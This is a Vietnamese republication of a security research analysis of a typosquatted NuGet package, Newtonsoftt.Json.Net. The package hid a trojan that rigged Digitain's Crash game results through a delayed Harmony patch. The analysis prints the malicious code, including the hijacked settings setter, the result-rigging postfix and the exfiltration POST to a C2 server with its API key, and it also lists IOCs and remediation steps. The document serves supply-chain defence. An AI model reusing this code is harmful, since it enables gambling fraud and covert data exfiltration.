Vụ Trộm Hoàn Hảo: Gói NuGet Mạo Danh Nhắm Vào Nền Tảng Cá Cược Để Gian Lận Kết Quả

Vụ Trộm Hoàn Hảo: Gói NuGet Mạo Danh Nhắm Vào Nền Tảng Cá Cược Để Gian Lận Kết Quả

Vụ Trộm Hoàn Hảo: Gói NuGet Typosquat Nhắm Vào Nền Tảng Cá Cược Để Gian Lận Kết Quả

By Guy Korolevski, JFrog Security Researcher — July 21, 2026

14 min read

Nhóm JFrog Security Research đã phát hiện và báo cáo một gói NuGet typosquatted mang tên Newtonsoftt.Json.Net — lưu ý chữ “t” đôi và hậu tố “.Net”. Gói này mạo danh thư viện phổ biến Newtonsoft.Json trong khi âm thầm phân phối một bản fork có chứa trojan. Trojan này được thiết kế để can thiệp nền tảng cá cược trực tuyến Digitain; ở các thế hệ sau, nó còn gửi (exfiltrate) kết quả vòng chơi đã bị tác động đến máy chủ do kẻ tấn công kiểm soát, sử dụng header HTTP X-Seq-ApiKey: theperfectheist2025. Người tác giả đã xuất bản bảy phiên bản dưới cùng một package, tất cả đều chia sẻ payload nhắm mục tiêu chuyên biệt. ([jfrog.com](https://jfrog.com/blog/nuget-typosquat-targets-betting-platform/))

Đây không phải là một info‑stealer chung thông thường; đây là một công cụ gian lận chính xác, nhắm vào một công ty cụ thể, đồng thời vẫn hoạt động như một thư viện JSON hoàn chỉnh với hầu hết người dùng khác. Các nhà phát triển cài nhầm gói này sẽ nhận được một build Newtonsoft.Json hoạt động thực tế; hành vi độc hại chỉ bắt đầu sau khi host khởi tạo JsonConvert.DefaultSettings, và chỉ có thể thành công trên hệ thống tiếp xúc với phương thức backend trò chơi cụ thể của mục tiêu, sau một khoảng trễ có chủ ý.

Newtonsoftt.Json.Net, phiên bản 11.0.11, từng tồn tại công khai trên NuGet. Gói này có thể truy vấn được từ tháng 8/2025 đến tháng 10/2025; sau đó tác giả đã “unlist” gói, nghĩa là nó sẽ không hiện trong kết quả tìm kiếm NuGet nhưng các artifact vẫn có thể tải xuống từ trang gói. ([jfrog.com](https://jfrog.com/blog/nuget-typosquat-targets-betting-platform/))

Miếng Mồi: Một Thư Viện JSON Hoạt Động với Danh Tính Giả Mạo

Metadata của package được dàn dựng rất tinh vi để giả danh. nuspec liệt kê tác giả là “James Newton-King”, trỏ URL dự án tới https://www.newtonsoft.com/json, khai báo MIT license, đặt tiêu đề là “Json.NET”, tag “json”, và dùng scheme phiên bản 11.0.x trông hợp lý nếu nhìn thoáng qua. Thư viện chính thức Newtonsoft.Json đang ở dòng 13.x, nhưng 11.x đủ mới để không gây nghi ngờ trong đồ thị phụ thuộc.



  
    Newtonsoftt.Json.Net
    11.0.11
    Json.NET
    James Newton-King
    
    https://www.newtonsoft.com/json
    Json.NET is a popular high-performance JSON framework for .NET
    Copyright © James Newton-King 2008
    json
    
  

Trong thư mục lib/net8.0/, package đóng gói ba assembly:

  • Newtonsoft.Json.net.dll – một fork trojanized của Newtonsoft.Json 13.0.3 chứa trigger.
  • Newtonsoft.Values.Net.dll – payload, được import bởi thư viện JSON để tải vào bất kỳ tiến trình nào sử dụng nó.
  • 0Harmony.dll – runtime‑patching library HarmonyLib, được đóng gói. Đây là cơ sở hạ tầng hai mặt, không phải malware bản thân nó.

Bởi vì NuGet tự động tham chiếu mọi assembly dưới lib/net8.0/, nhà phát triển chỉ cần thêm thư viện JSON là vô tình tải cả ba DLL vào tiến trình. Fork JSON hoạt động bình thường cho việc serialization — mục đích là giữ ứng dụng chạy ổn định, vượt qua kiểm thử và tránh cảnh báo.

Tell lớn nhất trong metadata cũng chính là thứ tiết lộ nạn nhân: mọi phiên bản đều rò rỉ cùng một URL repository. Đó là một TFS nội bộ của Digitain, trỏ tới dự án có tên “BetOnGames / FG-Crash”, một trò chơi dạng “Crash”. Kẻ tấn công không cần khai báo mục tiêu trong code — họ đã để lộ nó trong metadata chuỗi cung ứng bảy lần liên tiếp. ([jfrog.com](https://jfrog.com/blog/nuget-typosquat-targets-betting-platform/))

Sự Tiến Hóa: Bảy Phiên Bản, Một Trojan, Ba Thế Hệ

Tất cả bảy phiên bản được phân tích đều là các builds của cùng một fork trojanized của Newtonsoft.Json 13.0.3, chia sẻ cùng trigger, cùng target Harmony patch, và cùng nguồn TFS bị rò rỉ. Những điểm khác nhau giữa các phiên bản là mức độ obfuscation, chiến lược rigging, và đường dẫn exfiltration. Payload tiến hoá qua ba thế hệ:

Version Obfuscator Generation Upload date
11.0.4 ConfuserEx (heavy) Gen-2 Aug 13, 2025
11.0.5 ConfuserEx (heavy) Gen-2 Aug 16, 2025
11.0.7 Dotfuscator Gen-1 Aug 16, 2025
11.0.8 Dotfuscator Gen-1 Aug 16, 2025
11.0.9 ConfuserEx (heavy) Gen-2 Aug 16, 2025
11.0.10 ConfuserEx (light) Gen-3 Oct 6, 2025
11.0.11 none Gen-3 Oct 10, 2025

Phát triển cho thấy tác giả lần lượt làm cứng payload: Gen‑1 là PoC rigging cục bộ; Gen‑2 thêm exfiltration nhưng che giấu nó bằng reflection và ConfuserEx; Gen‑3 dọn dẹp rigging và ổn định exfiltration, với phiên bản 11.0.11 thậm chí không bị obfuscate — có thể là một build sạch vô tình được phát hành. ([jfrog.com](https://jfrog.com/blog/nuget-typosquat-targets-betting-platform/))

Kích Hoạt: Setter Thuộc Tính Bị Gài Bẫy

Gói trojan tự khởi tạo thông qua setter thuộc tính Newtonsoft.Json.Net.JsonConvert.DefaultSettings, một điểm cấu hình khởi động Json.NET phổ biến. Setter được viết lại sao cho ContractResolver của host bị bỏ qua và bị thay bằng CamelCasePropertyNamesContractResolver do trojan cung cấp, sau đó gọi DefaultValues.Set():

public static Func? DefaultSettings
{
    get => _defaultSettings;
    set
    {
        _defaultSettings = value;
        JsonConvert.DefaultSettings = () => new JsonSerializerSettings
        {
            ContractResolver = new CamelCasePropertyNamesContractResolver
            {
                NamingStrategy = new CamelCaseNamingStrategy { ProcessDictionaryKeys = false }
            }
        };
        DefaultValues.Set();
    }
}

Hai hoạt động độc hại tinh vi ẩn sau một assignment trông vô hại: thứ nhất, resolver do host chọn bị thay thế bởi resolver của attacker để serialization vẫn “hoạt động” và không gây lỗi; thứ hai, DefaultValues.Set() đặt Harmony patch trên một Timer có lần firing đầu tiên bị trì hoãn — 10 phút trong Gen‑3, và tới ngày hôm sau khoảng 15:00 kèm jitter ngẫu nhiên trong Gen‑1. Khoảng trễ này là cơ chế che giấu.

Khi patch kích hoạt, ứng dụng đã qua giai đoạn khởi động, log trông sạch, và operator không còn theo dõi process — đây là lý do trojan hiếm khi bị phát hiện. Nó chỉ kích hoạt sau khi ứng dụng khởi tạo Json.NET, và chỉ trên hosts có phương thức mục tiêu hiện diện; trong khi chờ, server trò chơi vẫn trả về các vòng chơi hợp lệ. ([jfrog.com](https://jfrog.com/blog/nuget-typosquat-targets-betting-platform/))

Patch: Rigging phương thức GenerateGameResult

Qua mọi thế hệ, payload dùng HarmonyLib để patch một phương thức duy nhất:

  • Type: Digitain.FG.SharedCrash.GameLogic.SharedCrashRules
  • Method: GenerateGameResult
  • Harmony instance id: com.example.harmony

Fingerprint cấu trúc của việc gọi AccessTools.Method(AccessTools.TypeByName(...), ...) rồi H.Patch xuất hiện ở mọi biến thể, chứng minh cùng mục tiêu bị patch xuyên suốt. Chiến lược rigging khác nhau theo thế hệ: Gen‑1 dùng Harmony transpiler để ghi đè IL JIT‑compiled, tìm các lời gọi so sánh và hằng số crash‑coefficient rồi thay bằng giá trị attacker lấy từ lookup tables; Gen‑3 đơn giản hoá bằng một Harmony postfix ghi đè trực tiếp giá trị trả về của phương thức (không cần IL rewriting).

private static void TR(ref object __result)
{
    if (++I < Values.L)
    {
        decimal num = (decimal)__result;
        try
        {
            DateTime utcNow = DateTime.UtcNow;
            int num2 = utcNow.Month % Values.Q.Length;
            int num3 = ((utcNow.Hour != 22) ? 1 : 0);
            __result = (decimal)(Values.Q[num2][num3][I]
                + (double)utcNow.DayOfWeek * Values.Z[num2][I][(utcNow.Day - 1) / 7 % 4]);
        }
        catch { __result = num; }
    }
}

Giá trị thay thế được chọn theo tháng UTC hiện tại, ngày trong tuần, tuần‑trong‑tháng, và một profile phụ thuộc giờ (tách riêng 22:00 UTC), sử dụng các bảng Values.QValues.Z. Values.L (32 trong Gen‑3, 27 trong Gen‑1) giới hạn số vòng bị rig trước khi patch tự unpatch. Các vòng bị rig được rải lẫn trong các vòng bình thường theo lịch xác định, chỉ kẻ tấn công biết — điều này khiến việc phát hiện bằng phân tích phân phối tổng hợp trở nên khó khăn. ([jfrog.com](https://jfrog.com/blog/nuget-typosquat-targets-betting-platform/))

Exfiltration: Lưu Lượng Ngụy Trang Dưới Dạng Seq Logging

Gen‑3 (11.0.11, không obfuscate) POST các kết quả bị rig tới một endpoint C2 mã hóa cứng, với URL, API key, và template message được lưu dưới dạng base64 trong binary. Các chuỗi sau đây được trình bày ở dạng giải mã để dễ đọc:

StringContent stringContent = new StringContent(JsonSerializer.Serialize(new
{
    Events = new[]
    {
        new
        {
            Timestamp = DateTime.UtcNow.ToString("yyyy-MM-ddTHH:mm:ss.fffZ"),
            Level = "Information",
            MessageTemplate = "Coefficient: {Result} | ThreadId: {ThreadId}",
            Properties = new { Result = r, Source = "Coefficient", ThreadId = Environment.CurrentManagedThreadId }
        }
    }
}), Encoding.UTF8, "application/json");
stringContent.Headers.Add("X-Seq-ApiKey", "theperfectheist2025");
await _h.PostAsync("hxxp[:]//185[.]126[.]237[.]64:5341/api/events/raw", stringContent);

C2 cố tình bắt chước endpoint raw-ingest của Seq: cùng đường dẫn /api/events/raw, cùng header X-Seq-ApiKey, và cùng hình dạng event Serilog với Level, MessageTemplate, và Properties. Ý đồ là ngụy trang: một POST egress trông giống telemetry ứng dụng chứ không phải traffic malware, đặc biệt trong môi trường đã dùng logging có cấu trúc. ([jfrog.com](https://jfrog.com/blog/nuget-typosquat-targets-betting-platform/))

Obfuscation: Mô Hình Qua Các Thế Hệ

Tóm tắt tiến hóa khả năng và cách che giấu của payload:

  • Gen‑1 (11.0.7, 11.0.8): không mạng, chỉ gồm HarmonyLib, AccessTools.* và in debug với Console.WriteLine. Dùng để kiểm thử nội bộ.
  • Gen‑2 (11.0.4, 11.0.5, 11.0.9): thêm exfiltration nhưng che giấu; tránh tham chiếu tĩnh tới System.Net.Http bằng trình loader reflection, và encrypt constants bằng ConfuserEx.
  • Gen‑3 (11.0.10, 11.0.11): bỏ IL transpiler, dùng postfix ổn định; 11.0.10 còn nhẹ obfuscate, 11.0.11 hoàn toàn không obfuscate — cho phép trích xuất URL và API key trực tiếp từ heap.

Ai Bị Ảnh Hưởng?

Nạn nhân chính là Digitain / BetOnGames, operator của trò FG‑Crash (Digitain.FG.SharedCrash.GameLogic.SharedCrashRules). Người tấn công, có thể là một insider hoặc người có quyền truy cập TFS repo tfs.digitain.tools/.../FG-Crash, có kiến thức trước và một mức độ kiểm soát một phần của multiplier trò chơi theo lịch chỉ họ biết.

Tác động thực tế:

  • Gian lận tài chính: các vòng chơi bị rig trong môi trường production, kẻ tấn công có thể làm các vòng trả về cho người chơi cụ thể hoặc đảm bảo nhà cái thắng theo lịch.
  • Exfiltration dữ liệu (Gen‑2/3): mỗi kết quả bị rig được gửi tới IP ngoại vi với API key, cho kẻ tấn công một bản audit ngoài nền tảng và kênh xác nhận trojan còn chạy.
  • Kiểm soát chuỗi cung ứng: gói mạo danh thư viện JSON cốt lõi nên có khả năng tồn tại qua các build nếu dependency không được sửa.

Trojan chỉ kích hoạt khi JsonConvert.DefaultSettings được gán và chỉ patch phương thức có trong backend FG‑Crash. Người dùng không bị nhắm mục tiêu có thể chỉ thấy một thư viện JSON hoạt động mà không xuất hiện hành vi gian lận — điểm này làm cho typosquat trở nên đặc biệt hiệu quả. ([jfrog.com](https://jfrog.com/blog/nuget-typosquat-targets-betting-platform/))

Không Có Mục Đích Lấy Cắp Credential Hoặc Di Chuyển Ngang

Payload không chứa khả năng đánh cắp credential, persistence (ngoài chính sách dependency), hay lateral movement. Mục đích duy nhất là làm tổn hại tính toàn vẹn của trò chơi crash.

Các Bước Khắc Phục (Remediation)

Đề xuất hành động để giảm thiểu và chữa trị mối đe dọa này:

  • Loại bỏ dependency Newtonsoftt.Json.Net khỏi mọi dự án bị ảnh hưởng và thay bằng Newtonsoft.Json chính thức 13.0.3 (hoặc mới hơn) từ nuget.org. Rebuild và redeploy từ một restore sạch.
  • Xoá các bản cached: xóa newtonsoftt.json.net khỏi global NuGet package cache (~/.nuget/packages/) và mọi internal feed mirror để gói không thể được resolve lại.
  • Chặn và điều tra C2: thêm block egress cho 185[.]126[.]237[.]64:5341, và tìm kiếm các kết nối lịch sử trong network logs để xác định cửa sổ phơi nhiễm.
  • Pin Newtonsoft.Json vào một phiên bản biết‑được‑an‑toàn bằng packages.lock.json / centralized package version management, và cân nhắc private feed allow‑list để ngăn các gói typosquatted được resolve trong các build tương lai.

Những bước trên là thực thi cấp thiết để chặn tác động tài chính, loại bỏ sự hiện diện của gói độc hại khỏi chuỗi cung ứng nội bộ, và giảm rủi ro exfiltration tiếp theo. ([jfrog.com](https://jfrog.com/blog/nuget-typosquat-targets-betting-platform/))

Phản Hồi Từ Digitain

Nhóm JFrog Security Research đã tiết lộ gói độc hại cho Digitain vào ngày 7 July 2026, và nhận được phản hồi vào ngày 9 July 2026:

“Please be advised that we were already aware of the reported issue, and it has been resolved.”

Điều này xác nhận thông tin đã được tổ chức mục tiêu phát hiện và xử lý. Tuy nhiên, không có chi tiết về việc gói độc đã từng thực sự thực thi trên production servers hay không, nên phạm vi phơi nhiễm vẫn chưa rõ ràng. ([jfrog.com](https://jfrog.com/blog/nuget-typosquat-targets-betting-platform/))

Bài Học Rút Ra (Takeaways)

Gói NuGet typosquat này minh hoạ rõ mức độ thiệt hại có thể gây ra chỉ bởi một lỗi gõ (typo) khi kẻ tấn công biết rõ mục tiêu. Sự khác biệt duy nhất trong tên (chữ “t” đôi trong Newtonsoftt) là đủ để đánh lừa; thư viện JSON đi kèm hoạt động đúng với hầu hết người dùng, trong khi payload chỉ kích hoạt trên hosts có phương thức nội bộ cụ thể, sau một độ trễ được thiết kế để trốn lọt ngoài giám sát khởi động.

Sự tiến hoá qua ba thế hệ cũng cho thấy kẻ tấn công có kỹ năng: từ PoC nội bộ, tới builds ConfuserEx nặng che giấu C2 bằng reflection, tới một Gen‑3 sạch và ổn định — rồi cuối cùng là một bản 11.0.11 hoàn toàn không obfuscated. Bài học lớn: một dependency không cần phải hành xử như malware rộng rãi để gây hại nghiêm trọng; nó chỉ cần hành vi phá hoại trong môi trường mà nó được chế tạo để nhận diện. ([jfrog.com](https://jfrog.com/blog/nuget-typosquat-targets-betting-platform/))


Indicators of Compromise (IOCs)

Package:

  • Newtonsoftt.Json.Net (NuGet) – XRAY-1019668
  • Versions observed: 11.0.4, 11.0.5, 11.0.7, 11.0.8, 11.0.9, 11.0.10, 11.0.11 (mạo dạng Json.NET 11.x; thư viện thật là 13.x)

Network IOCs:

  • C2: hxxp[:]//185[.]126[.]237[.]64:5341/api/events/raw
  • HTTP header: X-Seq-ApiKey: theperfectheist2025

Code / behavior IOCs:

  • Harmony instance id: com.example.harmony
  • Patched method: Digitain.FG.SharedCrash.GameLogic.SharedCrashRules.GenerateGameResult
  • Bundled lib/net8.0/Newtonsoft.Values.Net.dll SHA256s (theo phiên bản):
    • 11.0.4 – 3fbe32d7...
    • 11.0.5 – fe498d58...
    • 11.0.7 – 5d062e3e...
    • 11.0.8 – ba8f3696...
    • 11.0.9 – c162009e...
    • 11.0.10 – c386d416...
    • 11.0.11 – 4ed6e7b5...

Gợi ý: thêm các IOC mạng vào rules giám sát egress, quét toàn bộ repository nội bộ và caches NuGet, và kiểm tra lịch sử build/release để xác định khoảng thời gian nguy cơ. ([jfrog.com](https://jfrog.com/blog/nuget-typosquat-targets-betting-platform/))


Nếu bạn muốn triển khai các biện pháp phòng thủ chuỗi cung ứng phần mềm, rà soát dependencies, hay mua giải pháp bảo mật tích hợp để phát hiện typosquats và hành vi supply‑chain độc hại tương tự, Softribution sẵn sàng hỗ trợ.

Liên hệ Softribution ngay để được tư vấn chuyên sâu hoặc để mua các giải pháp: đội ngũ của chúng tôi cung cấp đánh giá rủi ro chuỗi cung ứng, triển khai chính sách phiên bản cố định (pinning), cấu hình private feed/allowlist, và tích hợp giải pháp phát hiện lộ lọt/exfiltration. Hãy liên hệ để lên lịch tư vấn kỹ thuật hoặc demo giải pháp phù hợp với tổ chức của bạn.

Nguồn gốc nội dung gốc và phân tích chi tiết: ([jfrog.com](https://jfrog.com/blog/nuget-typosquat-targets-betting-platform/))

Share this post